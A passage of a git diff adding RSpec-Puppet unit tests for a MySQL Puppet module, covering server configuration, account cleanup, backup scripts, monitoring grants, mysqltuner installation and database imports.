'mysqld' => { 'ssl' => false } } } } + + it { is_expected.to contain_file('mysql-config-file').with_content(%r{ssl = false}) } + end + + # ssl-disable (and ssl) are special cased within mysql. + describe 'possibility of disabling ssl completely' do + let(:params) { { override_options: { 'mysqld' => { 'ssl' => true, 'ssl-disable' => true } } } } + + it { is_expected.to contain_file('mysql-config-file').without_content(%r{ssl = true}) } + end + + describe 'a non ssl option set to true' do + let(:params) { { override_options: { 'mysqld' => { 'test' => true } } } } + + it { is_expected.to contain_file('mysql-config-file').with_content(%r{^test$}) } + it { is_expected.to contain_file('mysql-config-file').without_content(%r{test = true}) } + end + + context 'with includedir' do + let(:params) { { includedir: '/etc/my.cnf.d' } } + + it 'makes the directory' do + is_expected.to contain_file('/etc/my.cnf.d').with(ensure: :directory, + mode: '0755') + end + + it { is_expected.to contain_file('mysql-config-file').with_content(%r{!includedir}) } + end + + context 'without includedir' do + let(:params) { { includedir: '' } } + + it 'shouldnt contain the directory' do + is_expected.not_to contain_file('mysql-config-file').with(ensure: :directory, + mode: '0755') + end + + it { is_expected.to contain_file('mysql-config-file').without_content(%r{!includedir}) } + end + end + end +end diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/classes/mysql_bindings_spec.rb b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/classes/mysql_bindings_spec.rb new file mode 100644 index 000000000..dba8672b1 --- /dev/null +++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/classes/mysql_bindings_spec.rb @@ -0,0 +1,32 @@ +require 'spec_helper' + +describe 'mysql::bindings' do + on_supported_os.each do |os, facts| + context "on #{os}" do + let(:facts) do + facts.merge(root_home: '/root') + end + + let(:params) do + { + 'java_enable' => true, + 'perl_enable' => true, + 'php_enable' => true, + 'python_enable' => true, + 'ruby_enable' => true, + 'client_dev' => true, + 'daemon_dev' => true, + 'client_dev_package_name' => 'libmysqlclient-devel', + 'daemon_dev_package_name' => 'mysql-devel', + } + end + + it { is_expected.to contain_package('mysql-connector-java') } + it { is_expected.to contain_package('perl_mysql') } + it { is_expected.to contain_package('python-mysqldb') } + it { is_expected.to contain_package('ruby_mysql') } + it { is_expected.to contain_package('mysql-client_dev') } + it { is_expected.to contain_package('mysql-daemon_dev') } + end + end +end diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/classes/mysql_client_spec.rb b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/classes/mysql_client_spec.rb new file mode 100644 index 000000000..6c651dcae --- /dev/null +++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/classes/mysql_client_spec.rb @@ -0,0 +1,35 @@ +require 'spec_helper' + +describe 'mysql::client' do + on_supported_os.each do |os, facts| + context "on #{os}" do + let(:facts) do + facts.merge(root_home: '/root') + end + + context 'with defaults' do + it { is_expected.not_to contain_class('mysql::bindings') } + it { is_expected.to contain_package('mysql_client') } + end + + context 'with bindings enabled' do + let(:params) { { bindings_enable: true } } + + it { is_expected.to contain_class('mysql::bindings') } + it { is_expected.to contain_package('mysql_client') } + end + + context 'with package_manage set to true' do + let(:params) { { package_manage: true } } + + it { is_expected.to contain_package('mysql_client') } + end + + context 'with package_manage set to false' do + let(:params) { { package_manage: false } } + + it { is_expected.not_to contain_package('mysql_client') } + end + end + end +end diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/classes/mysql_server_account_security_spec.rb b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/classes/mysql_server_account_security_spec.rb new file mode 100644 index 000000000..5b5e6a74b --- /dev/null +++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/classes/mysql_server_account_security_spec.rb @@ -0,0 +1,83 @@ +require 'spec_helper' + +describe 'mysql::server::account_security' do + on_supported_os.each do |os, facts| + context "on #{os}" do + let(:pre_condition) do + <<-EOF + anchor {'mysql::server::end': } + EOF + end + + context 'with fqdn==myhost.mydomain' do + let(:facts) do + facts.merge(root_home: '/root', + fqdn: 'myhost.mydomain', + hostname: 'myhost') + end + + ['root@myhost.mydomain', + 'root@127.0.0.1', + 'root@::1', + '@myhost.mydomain', + '@localhost', + '@%'].each do |user| + it "removes Mysql_User[#{user}]" do # rubocop:disable RSpec/RepeatedExample + is_expected.to contain_mysql_user(user).with_ensure('absent') + end + end + + # When the hostname doesn't match the fqdn we also remove these. + # We don't need to test the inverse as when they match they are + # covered by the above list. + ['root@myhost', '@myhost'].each do |user| + it "removes Mysql_User[#{user}]" do # rubocop:disable RSpec/RepeatedExample + is_expected.to contain_mysql_user(user).with_ensure('absent') + end + end + + it 'removes Mysql_database[test]' do + is_expected.to contain_mysql_database('test').with_ensure('absent') + end + end + + context 'with fqdn==localhost' do + let(:facts) do + facts.merge(root_home: '/root', + fqdn: 'localhost', + hostname: 'localhost') + end + + ['root@127.0.0.1', + 'root@::1', + '@localhost', + 'root@localhost.localdomain', + '@localhost.localdomain', + '@%'].each do |user| + it "removes Mysql_User[#{user}] for fqdn==localhost" do + is_expected.to contain_mysql_user(user).with_ensure('absent') + end + end + end + + context 'with fqdn==localhost.localdomain' do + let(:facts) do + facts.merge(root_home: '/root', + fqdn: 'localhost.localdomain', + hostname: 'localhost') + end + + ['root@127.0.0.1', + 'root@::1', + '@localhost', + 'root@localhost.localdomain', + '@localhost.localdomain', + '@%'].each do |user| + it "removes Mysql_User[#{user}] for fqdn==localhost.localdomain" do + is_expected.to contain_mysql_user(user).with_ensure('absent') + end + end + end + end + end +end diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/classes/mysql_server_backup_spec.rb b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/classes/mysql_server_backup_spec.rb new file mode 100644 index 000000000..e9d194b6a --- /dev/null +++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/classes/mysql_server_backup_spec.rb @@ -0,0 +1,405 @@ +require 'spec_helper' + +describe 'mysql::server::backup' do + on_supported_os.each do |os, facts| + context "on #{os}" do + let(:pre_condition) do + <<-EOF + class { 'mysql::server': } + EOF + end + let(:facts) do + facts.merge(root_home: '/root') + end + + let(:default_params) do + { 'backupuser' => 'testuser', + 'backuppassword' => 'testpass', + 'backupdir' => '/tmp', + 'backuprotate' => '25', + 'delete_before_dump' => true, + 'execpath' => '/usr/bin:/usr/sbin:/bin:/sbin:/opt/zimbra/bin', + 'maxallowedpacket' => '1M' } + end + + context 'standard conditions' do + let(:params) { default_params } + + # Cannot use that_requires here, doesn't work on classes. + it { + is_expected.to contain_mysql_user('testuser@localhost').with( + require: 'Class[Mysql::Server::Root_password]', + ) + } + + it { + is_expected.to contain_mysql_grant('testuser@localhost/*.*').with( + privileges: ['SELECT', 'RELOAD', 'LOCK TABLES', 'SHOW VIEW', 'PROCESS'], + ).that_requires('Mysql_user[testuser@localhost]') + } + + context 'with triggers included' do + let(:params) do + { include_triggers: true }.merge(default_params) + end + + it { + is_expected.to contain_mysql_grant('testuser@localhost/*.*').with( + privileges: ['SELECT', 'RELOAD', 'LOCK TABLES', 'SHOW VIEW', 'PROCESS', 'TRIGGER'], + ).that_requires('Mysql_user[testuser@localhost]') + } + end + + it { + is_expected.to contain_cron('mysql-backup').with( + command: '/usr/local/sbin/mysqlbackup.sh', + ensure: 'present', + ) + } + + it { + is_expected.to contain_file('mysqlbackup.sh').with( + path: '/usr/local/sbin/mysqlbackup.sh', + ensure: 'present', + ) + } + + it { + is_expected.to contain_file('mysqlbackupdir').with( + path: '/tmp', + ensure: 'directory', + ) + } + + it 'has compression by default' do + is_expected.to contain_file('mysqlbackup.sh').with_content( + %r{bzcat -zc}, + ) + end + + it 'skips backing up events table by default' do + is_expected.to contain_file('mysqlbackup.sh').with_content( + %r{ADDITIONAL_OPTIONS="--ignore-table=mysql.event"}, + ) + end + + it 'does not mention triggers by default because file_per_database is false' do + is_expected.to contain_file('mysqlbackup.sh').without_content( + %r{.*triggers.*}, + ) + end + + it 'does not mention routines by default because file_per_database is false' do + is_expected.to contain_file('mysqlbackup.sh').without_content( + %r{.*routines.*}, + ) + end + + it 'has 25 days of rotation' do + # MySQL counts from 0 + is_expected.to contain_file('mysqlbackup.sh').with_content(%r{.*ROTATE=24.*}) + end + + it 'has a standard PATH' do + is_expected.to contain_file('mysqlbackup.sh').with_content(%r{PATH=/usr/bin:/usr/sbin:/bin:/sbin:/opt/zimbra/bin}) + end + end + + context 'custom ownership and mode for backupdir' do + let(:params) do + { backupdirmode: '0750', + backupdirowner: 'testuser', + backupdirgroup: 'testgrp' }.merge(default_params) + end + + it { + is_expected.to contain_file('mysqlbackupdir').with( + path: '/tmp', ensure: 'directory', + mode: '0750', owner: 'testuser', + group: 'testgrp' + ) + } + end + + context 'with compression disabled' do + let(:params) do + { backupcompress: false }.merge(default_params) + end + + it { + is_expected.to contain_file('mysqlbackup.sh').with( + path: '/usr/local/sbin/mysqlbackup.sh', + ensure: 'present', + ) + } + + it 'is able to disable compression' do + is_expected.to contain_file('mysqlbackup.sh').without_content( + %r{.*bzcat -zc.*}, + ) + end + end + + context 'with mysql.events backedup' do + let(:params) do + { ignore_events: false }.merge(default_params) + end + + it { + is_expected.to contain_file('mysqlbackup.sh').with( + path: '/usr/local/sbin/mysqlbackup.sh', + ensure: 'present', + ) + } + + it 'is able to backup events table' do + is_expected.to contain_file('mysqlbackup.sh').with_content( + %r{ADDITIONAL_OPTIONS="--events"}, + ) + end + end + + context 'with database list specified' do + let(:params) do + { backupdatabases: ['mysql'] }.merge(default_params) + end + + it { + is_expected.to contain_file('mysqlbackup.sh').with( + path: '/usr/local/sbin/mysqlbackup.sh', + ensure: 'present', + ) + } + + it 'has a backup file for each database' do + is_expected.to contain_file('mysqlbackup.sh').with_content( + %r{mysql | bzcat -zc \${DIR}\\\${PREFIX}mysql_`date'}, + ) + end + + it 'skips backup triggers by default' do + is_expected.to contain_file('mysqlbackup.sh').with_content( + %r{ADDITIONAL_OPTIONS="\$ADDITIONAL_OPTIONS --skip-triggers"}, + ) + end + + it 'skips backing up routines by default' do + is_expected.to contain_file('mysqlbackup.sh').with_content( + %r{ADDITIONAL_OPTIONS="\$ADDITIONAL_OPTIONS --skip-routines"}, + ) + end + + context 'with include_triggers set to true' do + let(:params) do + default_params.merge(backupdatabases: ['mysql'], + include_triggers: true) + end + + it 'backups triggers when asked' do + is_expected.to contain_file('mysqlbackup.sh').with_content( + %r{ADDITIONAL_OPTIONS="\$ADDITIONAL_OPTIONS --triggers"}, + ) + end + end + + context 'with include_triggers set to false' do + let(:params) do + default_params.merge(backupdatabases: ['mysql'], + include_triggers: false) + end + + it 'skips backing up triggers when asked to skip' do + is_expected.to contain_file('mysqlbackup.sh').with_content( + %r{ADDITIONAL_OPTIONS="\$ADDITIONAL_OPTIONS --skip-triggers"}, + ) + end + end + + context 'with include_routines set to true' do + let(:params) do + default_params.merge(backupdatabases: ['mysql'], + include_routines: true) + end + + it 'backups routines when asked' do + is_expected.to contain_file('mysqlbackup.sh').with_content( + %r{ADDITIONAL_OPTIONS="\$ADDITIONAL_OPTIONS --routines"}, + ) + end + end + + context 'with include_routines set to false' do + let(:params) do + default_params.merge(backupdatabases: ['mysql'], + include_triggers: true) + end + + it 'skips backing up routines when asked to skip' do + is_expected.to contain_file('mysqlbackup.sh').with_content( + %r{ADDITIONAL_OPTIONS="\$ADDITIONAL_OPTIONS --skip-routines"}, + ) + end + end + end + + context 'with file per database' do + let(:params) do + default_params.merge(file_per_database: true) + end + + it 'loops through backup all databases' do + is_expected.to contain_file('mysqlbackup.sh').with_content(%r{.*SHOW DATABASES.*}) + end + + context 'with compression disabled' do + let(:params) do + default_params.merge(file_per_database: true, backupcompress: false) + end + + it 'loops through backup all databases without compression #show databases' do + is_expected.to contain_file('mysqlbackup.sh').with_content(%r{.*SHOW DATABASES.*}) + end + it 'loops through backup all databases without compression #bzcat' do + is_expected.to contain_file('mysqlbackup.sh').without_content(%r{.*bzcat -zc.*}) + end + end + + it 'skips backup triggers by default' do + is_expected.to contain_file('mysqlbackup.sh').with_content( + %r{ADDITIONAL_OPTIONS="\$ADDITIONAL_OPTIONS --skip-triggers"}, + ) + end + + it 'skips backing up routines by default' do + is_expected.to contain_file('mysqlbackup.sh').with_content( + %r{ADDITIONAL_OPTIONS="\$ADDITIONAL_OPTIONS --skip-routines"}, + ) + end + + context 'with include_triggers set to true' do + let(:params) do + default_params.merge(file_per_database: true, + include_triggers: true) + end + + it 'backups triggers when asked' do + is_expected.to contain_file('mysqlbackup.sh').with_content( + %r{ADDITIONAL_OPTIONS="\$ADDITIONAL_OPTIONS --triggers"}, + ) + end + end + + context 'with include_triggers set to false' do + let(:params) do + default_params.merge(file_per_database: true, + include_triggers: false) + end + + it 'skips backing up triggers when asked to skip' do + is_expected.to contain_file('mysqlbackup.sh').with_content( + %r{ADDITIONAL_OPTIONS="\$ADDITIONAL_OPTIONS --skip-triggers"}, + ) + end + end + + context 'with include_routines set to true' do + let(:params) do + default_params.merge(file_per_database: true, + include_routines: true) + end + + it 'backups routines when asked' do + is_expected.to contain_file('mysqlbackup.sh').with_content( + %r{ADDITIONAL_OPTIONS="\$ADDITIONAL_OPTIONS --routines"}, + ) + end + end + + context 'with include_routines set to false' do + let(:params) do + default_params.merge(file_per_database: true, + include_triggers: true) + end + + it 'skips backing up routines when asked to skip' do + is_expected.to contain_file('mysqlbackup.sh').with_content( + %r{ADDITIONAL_OPTIONS="\$ADDITIONAL_OPTIONS --skip-routines"}, + ) + end + end + end + + context 'with postscript' do + let(:params) do + default_params.merge(postscript: 'rsync -a /tmp backup01.local-lan:') + end + + it 'is add postscript' do + is_expected.to contain_file('mysqlbackup.sh').with_content( + %r{rsync -a \/tmp backup01.local-lan:}, + ) + end + end + + context 'with postscripts' do + let(:params) do + default_params.merge(postscript: [ + 'rsync -a /tmp backup01.local-lan:', + 'rsync -a /tmp backup02.local-lan:', + ]) + end + + it 'is add postscript' do + is_expected.to contain_file('mysqlbackup.sh').with_content( + %r{.*rsync -a \/tmp backup01.local-lan:\n\nrsync -a \/tmp backup02.local-lan:.*}, + ) + end + end + + context 'with the xtrabackup provider' do + let(:params) do + default_params.merge(provider: 'xtrabackup') + end + + it 'contains the wrapper script' do + is_expected.to contain_file('xtrabackup.sh').with_content( + %r{^innobackupex\s+.*?"\$@"}, + ) + end + + context 'with prescript defined' do + let(:params) do + default_params.merge(provider: 'xtrabackup', + prescript: [ + 'rsync -a /tmp backup01.local-lan:', + 'rsync -a /tmp backup02.local-lan:', + ]) + end + + it 'contains the prescript' do + is_expected.to contain_file('xtrabackup.sh').with_content( + %r{.*rsync -a \/tmp backup01.local-lan:\n\nrsync -a \/tmp backup02.local-lan:.*}, + ) + end + end + + context 'with postscript defined' do + let(:params) do + default_params.merge(provider: 'xtrabackup', + postscript: [ + 'rsync -a /tmp backup01.local-lan:', + 'rsync -a /tmp backup02.local-lan:', + ]) + end + + it 'contains the prostscript' do + is_expected.to contain_file('xtrabackup.sh').with_content( + %r{.*rsync -a \/tmp backup01.local-lan:\n\nrsync -a \/tmp backup02.local-lan:.*}, + ) + end + end + end + end + end + # rubocop:enable RSpec/NestedGroups +end diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/classes/mysql_server_monitor_spec.rb b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/classes/mysql_server_monitor_spec.rb new file mode 100644 index 000000000..3a64ac3c8 --- /dev/null +++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/classes/mysql_server_monitor_spec.rb @@ -0,0 +1,36 @@ +require 'spec_helper' +describe 'mysql::server::monitor' do + on_supported_os.each do |os, facts| + context "on #{os}" do + let(:facts) do + facts.merge(root_home: '/root') + end + + let :pre_condition do + "include 'mysql::server'" + end + + let :default_params do + { + mysql_monitor_username: 'monitoruser', + mysql_monitor_password: 'monitorpass', + mysql_monitor_hostname: 'monitorhost', + } + end + + let :params do + default_params + end + + it { is_expected.to contain_mysql_user('monitoruser@monitorhost') } + + it { + is_expected.to contain_mysql_grant('monitoruser@monitorhost/*.*').with( + ensure: 'present', user: 'monitoruser@monitorhost', + table: '*.*', privileges: %w[PROCESS SUPER], + require: 'Mysql_user[monitoruser@monitorhost]' + ) + } + end + end +end diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/classes/mysql_server_mysqltuner_spec.rb b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/classes/mysql_server_mysqltuner_spec.rb new file mode 100644 index 000000000..3bca3d94e --- /dev/null +++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/classes/mysql_server_mysqltuner_spec.rb @@ -0,0 +1,44 @@ +require 'spec_helper' + +describe 'mysql::server::mysqltuner' do + on_supported_os.each do |os, facts| + context "on #{os}" do + let(:facts) do + facts.merge(staging_http_get: 'curl', + root_home: '/root') + end + + context 'ensure => present' do + it { is_expected.to compile } + it { + is_expected.to contain_staging__file('mysqltuner-v1.3.0').with(source: 'https://github.com/major/MySQLTuner-perl/raw/v1.3.0/mysqltuner.pl') + } + end + + context 'ensure => absent' do + let(:params) { { ensure: 'absent' } } + + it { is_expected.to compile } + it { is_expected.to contain_file('/usr/local/bin/mysqltuner').with(ensure: 'absent') } + end + + context 'custom version' do + let(:params) { { version: 'v1.2.0' } } + + it { is_expected.to compile } + it { + is_expected.to contain_staging__file('mysqltuner-v1.2.0').with(source: 'https://github.com/major/MySQLTuner-perl/raw/v1.2.0/mysqltuner.pl') + } + end + + context 'custom source' do + let(:params) { { source: '/tmp/foo' } } + + it { is_expected.to compile } + it { + is_expected.to contain_staging__file('mysqltuner-/tmp/foo').with(source: '/tmp/foo') + } + end + end + end +end diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/classes/mysql_server_spec.rb b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/classes/mysql_server_spec.rb new file mode 100644 index 000000000..07d4917a0 --- /dev/null +++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/classes/mysql_server_spec.rb @@ -0,0 +1,256 @@ +require 'spec_helper' + +describe 'mysql::server' do + on_supported_os.each do |os, facts| + context "on #{os}" do + let(:facts) do + facts.merge(root_home: '/root') + end + + context 'with defaults' do + it { is_expected.to contain_class('mysql::server::install') } + it { is_expected.to contain_class('mysql::server::config') } + it { is_expected.to contain_class('mysql::server::service') } + it { is_expected.to contain_class('mysql::server::root_password') } + it { is_expected.to contain_class('mysql::server::providers') } + end + + context 'with remove_default_accounts set' do + let(:params) { { remove_default_accounts: true } } + + it { is_expected.to contain_class('mysql::server::account_security') } + end + + context 'when not managing config file' do + let(:params) { { manage_config_file: false } } + + it { is_expected.to compile.with_all_deps } + end + + context 'when not managing the service' do + let(:params) { { service_manage: false } } + + it { is_expected.to compile.with_all_deps } + it { is_expected.not_to contain_service('mysqld') } + end + + context 'mysql::server::install' do + it 'contains the package by default' do + is_expected.to contain_package('mysql-server').with(ensure: :present) + end + context 'with package_manage set to true' do + let(:params) { { package_manage: true } } + + it { is_expected.to contain_package('mysql-server') } + end + context 'with package_manage set to false' do + let(:params) { { package_manage: false } } + + it { is_expected.not_to contain_package('mysql-server') } + end + context 'with datadir overridden' do + let(:params) { { override_options: { 'mysqld' => { 'datadir' => '/tmp' } } } } + + it { is_expected.to contain_mysql_datadir('/tmp') } + end + end + + context 'mysql::server::service' do + context 'with defaults' do + it { is_expected.to contain_service('mysqld') } + end + context 'with package_manage set to true' do + let(:params) { { package_manage: true } } + + it { is_expected.to contain_service('mysqld').that_requires('Package[mysql-server]') } + end + context 'with package_manage set to false' do + let(:params) { { package_manage: false } } + + it { is_expected.to contain_service('mysqld') } + it { is_expected.not_to contain_service('mysqld').that_requires('Package[mysql-server]') } + end + context 'service_enabled set to false' do + let(:params) { { service_enabled: false } } + + it do + is_expected.to contain_service('mysqld').with(ensure: :stopped) + end + context 'with package_manage set to true' do + let(:params) { { package_manage: true } } + + it { is_expected.to contain_package('mysql-server') } + end + context 'with package_manage set to false' do + let(:params) { { package_manage: false } } + + it { is_expected.not_to contain_package('mysql-server') } + end + context 'with datadir overridden' do + let(:params) { { override_options: { 'mysqld' => { 'datadir' => '/tmp' } } } } + + it { is_expected.to contain_mysql_datadir('/tmp') } + end + end + context 'with log-error overridden' do + let(:params) { { override_options: { 'mysqld' => { 'log-error' => '/tmp/error.log' } } } } + + it { is_expected.to contain_file('/tmp/error.log') } + end + context 'default bind-address' do + it { is_expected.to contain_file('mysql-config-file').with_content(%r{^bind-address = 127.0.0.1}) } + end + context 'with defined bind-address' do + let(:params) { { override_options: { 'mysqld' => { 'bind-address' => '1.1.1.1' } } } } + + it { is_expected.to contain_file('mysql-config-file').with_content(%r{^bind-address = 1.1.1.1}) } + end + context 'without bind-address' do + let(:params) { { override_options: { 'mysqld' => { 'bind-address' => :undef } } } } + + it { is_expected.to contain_file('mysql-config-file').without_content(%r{^bind-address}) } + end + end + + context 'mysql::server::root_password' do + describe 'when defaults' do + it { + is_expected.to contain_exec('remove install pass').with( + command: 'mysqladmin -u root --password=$(grep -o \'[^ ]\\+$\' /.mysql_secret) password \'\' && rm -f /.mysql_secret', + onlyif: 'test -f /.mysql_secret', + path: '/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin', + ) + } + it { is_expected.not_to contain_mysql_user('root@localhost') } + it { is_expected.not_to contain_file('/root/.my.cnf') } + end + describe 'when root_password set' do + let(:params) { { root_password: 'SET' } } + + it { is_expected.to contain_mysql_user('root@localhost') } + if Puppet.version.to_f >= 3.0 + it { is_expected.to contain_file('/root/.my.cnf').with(show_diff: false).that_requires('Mysql_user[root@localhost]') } + else + it { is_expected.to contain_file('/root/.my.cnf').that_requires('Mysql_user[root@localhost]') } + end + end + describe 'when root_password set, create_root_user set to false' do + let(:params) { { root_password: 'SET', create_root_user: false } } + + it { is_expected.not_to contain_mysql_user('root@localhost') } + if Puppet.version.to_f >= 3.0 + it { is_expected.to contain_file('/root/.my.cnf').with(show_diff: false) } + else + it { is_expected.to contain_file('/root/.my.cnf') } + end + end + describe 'when root_password set, create_root_my_cnf set to false' do + let(:params) { { root_password: 'SET', create_root_my_cnf: false } } + + it { is_expected.to contain_mysql_user('root@localhost') } + it { is_expected.not_to contain_file('/root/.my.cnf') } + end + describe 'when root_password set, create_root_user and create_root_my_cnf set to false' do + let(:params) { { root_password: 'SET', create_root_user: false, create_root_my_cnf: false } } + + it { is_expected.not_to contain_mysql_user('root@localhost') } + it { is_expected.not_to contain_file('/root/.my.cnf') } + end + describe 'when install_secret_file set to /root/.mysql_secret' do + let(:params) { { install_secret_file: '/root/.mysql_secret' } } + + it { + is_expected.to contain_exec('remove install pass').with( + command: 'mysqladmin -u root --password=$(grep -o \'[^ ]\\+$\' /root/.mysql_secret) password \'\' && rm -f /root/.mysql_secret', + onlyif: 'test -f /root/.mysql_secret', + ) + } + end + end + + context 'mysql::server::providers' do + describe 'with users' do + let(:params) do + { users: { + 'foo@localhost' => { + 'max_connections_per_hour' => '1', + 'max_queries_per_hour' => '2', + 'max_updates_per_hour' => '3', + 'max_user_connections' => '4', + 'password_hash' => '*F3A2A51A9B0F2BE2468926B4132313728C250DBF', + }, + 'foo2@localhost' => {}, + } } + end + + it { + is_expected.to contain_mysql_user('foo@localhost').with( + max_connections_per_hour: '1', max_queries_per_hour: '2', + max_updates_per_hour: '3', max_user_connections: '4', + password_hash: '*F3A2A51A9B0F2BE2468926B4132313728C250DBF' + ) + } + it { + is_expected.to contain_mysql_user('foo2@localhost').with( + max_connections_per_hour: nil, max_queries_per_hour: nil, + max_updates_per_hour: nil, max_user_connections: nil, + password_hash: nil + ) + } + end + + describe 'with grants' do + let(:params) do + { grants: { + 'foo@localhost/somedb.*' => { + 'user' => 'foo@localhost', + 'table' => 'somedb.*', + 'privileges' => %w[SELECT UPDATE], + 'options' => ['GRANT'], + }, + 'foo2@localhost/*.*' => { + 'user' => 'foo2@localhost', + 'table' => '*.*', + 'privileges' => ['SELECT'], + }, + } } + end + + it { + is_expected.to contain_mysql_grant('foo@localhost/somedb.*').with( + user: 'foo@localhost', table: 'somedb.*', + privileges: %w[SELECT UPDATE], options: ['GRANT'] + ) + } + it { + is_expected.to contain_mysql_grant('foo2@localhost/*.*').with( + user: 'foo2@localhost', table: '*.*', + privileges: ['SELECT'], options: nil + ) + } + end + + describe 'with databases' do + let(:params) do + { databases: { + 'somedb' => { + 'charset' => 'latin1', + 'collate' => 'latin1', + }, + 'somedb2' => {}, + } } + end + + it { + is_expected.to contain_mysql_database('somedb').with( + charset: 'latin1', + collate: 'latin1', + ) + } + it { is_expected.to contain_mysql_database('somedb2') } + end + end + end + end + # rubocop:enable RSpec/NestedGroups +end diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/default_facts.yml b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/default_facts.yml new file mode 100644 index 000000000..3248be5aa --- /dev/null +++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/default_facts.yml @@ -0,0 +1,8 @@ +# Use default_module_facts.yml for module specific facts. +# +# Facts specified here will override the values provided by rspec-puppet-facts. +--- +concat_basedir: "/tmp" +ipaddress: "172.16.254.254" +is_pe: false +macaddress: "AA:AA:AA:AA:AA:AA" diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/defines/mysql_db_spec.rb b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/defines/mysql_db_spec.rb new file mode 100644 index 000000000..ab2550867 --- /dev/null +++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/defines/mysql_db_spec.rb @@ -0,0 +1,75 @@ +require 'spec_helper' + +describe 'mysql::db', type: :define do + on_supported_os.each do |os, facts| + context "on #{os}" do + let(:facts) do + facts.merge(root_home: '/root') + end + + let(:title) { 'test_db' } + + let(:params) do + { 'user' => 'testuser', + 'password' => 'testpass' } + end + + it 'does not notify the import sql exec if no sql script was provided' do + is_expected.to contain_mysql_database('test_db').without_notify + end + + it 'subscribes to database if sql script is given' do + params['sql'] = 'test_sql' + is_expected.to contain_exec('test_db-import').with_subscribe('Mysql_database[test_db]') + end + + it 'onlies import sql script on creation if not enforcing' do + params.merge!('sql' => 'test_sql', 'enforce_sql' => false) + is_expected.to contain_exec('test_db-import').with_refreshonly(true) + end + + it 'imports sql script on creation if enforcing #refreshonly' do + params.merge!('sql' => 'test_sql', 'enforce_sql' => true) + is_expected.to contain_exec('test_db-import').with_refreshonly(false) + end + it 'imports sql script on creation if enforcing #command' do + params.merge!('sql' => 'test_sql', 'enforce_sql' => true) + is_expected.to contain_exec('test_db-import').with_command('cat test_sql | mysql test_db') + end + + it 'imports sql script with custom command on creation if enforcing #refreshonly' do + params.merge!('sql' => 'test_sql', 'enforce_sql' => true, 'import_cat_cmd' => 'zcat') + is_expected.to contain_exec('test_db-import').with_refreshonly(false) + end + it 'imports sql script with custom command on creation if enforcing #command' do + params.merge!('sql' => 'test_sql', 'enforce_sql' => true, 'import_cat_cmd' => 'zcat') + is_expected.to contain_exec('test_db-import').with_command('zcat test_sql | mysql test_db') + end + + it 'imports sql scripts when more than one is specified' do + params['sql'] = %w[test_sql test_2_sql] + is_expected.to contain_exec('test_db-import').with_command('cat test_sql test_2_sql | mysql test_db') + end + + it 'does not create database' do + params.merge!('ensure' => 'absent', 'host' => 'localhost') + is_expected.to contain_mysql_database('test_db').with_ensure('absent') + end + it 'does not create database user' do + params.merge!('ensure' => 'absent', 'host' => 'localhost') + is_expected.to contain_mysql_user('testuser@localhost').with_ensure('absent') + end + + it 'creates with an appropriate collate and charset' do + params.merge!('charset' => 'utf8', 'collate' => 'utf8_danish_ci') + is_expected.to contain_mysql_database('test_db').with('charset' => 'utf8', + 'collate' => 'utf8_danish_ci') + end + + it 'uses dbname parameter as database name instead of name' do + params['dbname'] = 'real_db' + is_expected.to contain_mysql_database('real_db') + end + end + end +end diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/spec_helper.rb b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/spec_helper.rb new file mode 100644 index 000000000..c20a31773 --- /dev/null +++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/spec_helper.rb @@ -0,0 +1,24 @@ +require 'puppetlabs_spec_helper/module_spec_helper' +require 'rspec-puppet-facts' +include RspecPuppetFacts + +default_facts = { + puppetversion: Puppet.version, + facterversion: Facter.version, +} + +default_facts_path = File.expand_path(File.join(File.dirname(__FILE__), 'default_facts.yml')) +default_module_facts_path = File.expand_path(File.join(File.dirname(__FILE__), 'default_module_facts.yml')) + +if File.exist?(default_facts_path) && File.readable?(default_facts_path) + default_facts.merge!(YAML.safe_load(File.read(default_facts_path))) +end + +if File.exist?(default_module_facts_path) && File.readable?(default_module_facts_path) + default_facts.merge!(YAML.safe_load(File.read(default_module_facts_path))) +end + +RSpec.configure do |c| + c.default_facts = default_facts +end +require 'spec_helper_local' diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/spec_helper_acceptance.rb b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/spec_helper_acceptance.rb new file mode 100644 index 000000000..be0f74b48 --- /dev/null +++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/spec_helper_acceptance.rb @@ -0,0 +1,57 @@ +require 'puppet' +require 'beaker-rspec' +require 'beaker/puppet_install_helper' +require 'beaker/module_install_helper' +require 'beaker/i18n_helper' +require 'beaker/task_helper' + +run_puppet_install_helper +install_ca_certs unless pe_install? +install_bolt_on(hosts) unless pe_install? +install_module_on(hosts) +install_module_dependencies_on(hosts) + +RSpec.configure do |c| + # Readable test descriptions + c.formatter = :documentation + + # detect the situation where PUP-5016 is triggered and skip the idempotency tests in that case + # also note how fact('puppetversion') is not available because of PUP-4359 + if fact('osfamily') == 'Debian' && 